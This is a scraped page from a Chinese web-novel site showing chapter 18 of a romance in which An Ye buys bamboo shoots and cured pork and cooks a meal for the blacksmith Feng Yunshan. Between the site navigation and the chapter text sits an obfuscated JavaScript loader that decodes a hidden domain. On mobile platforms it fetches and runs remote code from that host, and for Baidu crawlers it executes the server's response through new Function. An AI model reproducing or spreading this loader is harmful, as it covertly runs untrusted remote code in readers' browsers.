妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第18章(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

小摊贩:“行行行,拿走吧,这可都是山上新挖的,要不是急着收摊,可没有这么便宜的价钱。”

提着几根青翠的竹笋,安叶又去了丰云海家的豆腐铺子,买了两块嫩豆腐;最后找到一家卖腊肉的店,买了一小块腊肉。

其实每家都会熏腊肉,少有出来买的,只是丰云山一个人生活,并没有熏肉,以前都是在大伯家一起吃。

等回去问问大娘,能不能熏些腊肉腊肠出来,也算是给饭桌增添风味。

回到铁匠铺子,安叶去往厨房的路上瞄了一眼丰云山,对方的神色倒是正常,并未看出什么生气的迹象。

踌躇了一下,安叶还是走到他面前:谢谢丰大哥!

指了指木牌和小桌子,安叶:这些东西很有用,我都没有想到,多亏了你!

丰云山瞥了她一眼:“嗯。”

安叶:……

正想要继续比划,丰云山却给了她台阶:“东西不费事,一刻钟就做好了。有什么要改的,再和我说,下次就别掏钱了。”

安叶红了红脸,此时终于感受到自己当时傻愣愣想给铜板也太让人尴尬了,于是连连点头,表示自己再也不会了。

带着微微加速的心跳,安叶来到了厨房,这个让自己能够静下心的小天地。

丰云婷这时也走了进来,“我来煮饭!”

安叶点点头,把竹笋拿出来一个个剥壳,放在案板上用刀切片,烧水将笋片焯水去涩,沥干放在一边。

今日买的腊肉还算是干净,应当是没有熏太久的,先用温水泡了一会儿,再用刀将肉刮干净。

切开腊肉,带着肥膘的部分呈半透明的乳黄色,纹理细腻,瘦肉肌理紧实清晰,肥瘦相间,比例恰好,肉片微微渗着清亮的油珠,凑近能闻到醇厚的咸香与腊味,看着就油润诱人。

安叶心中暗自称赞自己:今日的肉买得真好!

一边的丰云婷也注意到了:“哇,这腊肉真不错。不过下次可以直接从家里带过来就是,山子哥的肉过年的时候我娘都一起熏了,还有腊肠,多的是,都吃不完,山子哥也不爱自己拿去做。”

安叶点头:好,下次就自己带。

把其他的食材也都处理好,锅中倒油,先放入姜丝、葱段和干辣椒爆香,待香味出来,放入油润的腊肉翻炒,将其中的肥油煸出来,这样肉吃起来才不会腻。

等到腊肉肥肉边缘微焦,倒入焯好水的笋片,加大火力继续翻炒,让笋

片吸满腊肉的油脂。

腊肉已经有足够的咸味,安叶便只额外放了一点点盐,翻炒均匀,就可以出锅了。

腊香浓郁,竹笋脆嫩,吃起来咸香扑鼻,半点都不会让人觉得发腻。

另外两道菜就简单多了,一道炒芥菜,一道青菜豆腐汤,都是清鲜解腻的家常菜,豆腐汤中,安叶还加了蛋液进去,吃起来更加浓稠有味一些,不会太过寡淡。

依旧是一荤一素一汤端上饭桌,主菜笋炒腊肉可大一份,毕竟安叶当时可是把摊子上剩下的最后几根笋子都包圆了。

丰云婷迫不及待夹了一筷子腊肉进嘴,“好好吃!这个腊肉一点都不咸诶,也不柴,好有嚼劲!笋子也好吃,翠翠的,可惜村里旁边山上没有笋子,不然可以多吃几次了。”

自从来到李桥镇,每次做饭都得到了很好的反馈,安叶心中也总是高兴的。

她也夹了一筷子腊肉,脆嫩的笋块裹着腊肉炒出来的油,咬下时先是笋的清甜在舌尖散开,接着腊肉的咸香漫上来,油脂香不腻人,只衬得笋更鲜。

果然食材好就成功一半,今日的笋子和腊肉,真是买对了。

丰云山没说话,但看他没停下夹菜的手,也知道这很是喜欢了。

果然,饭饱汤足,丰云山又提出了自己的愿望:“我记得大伯家还放着不少腊肉腊肠,明天可以带到铺子里。”

安叶与丰云婷对视一眼,然后偷偷笑了一下。

看来笋炒腊肉和酱炖鱼一样得到了丰大哥的偏爱呀。

安叶:好,明日就做腊肠!

丰云山当然看见了两个小娘子那点眼神官司,但并没表现出什么,反正能吃到想吃的就行。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间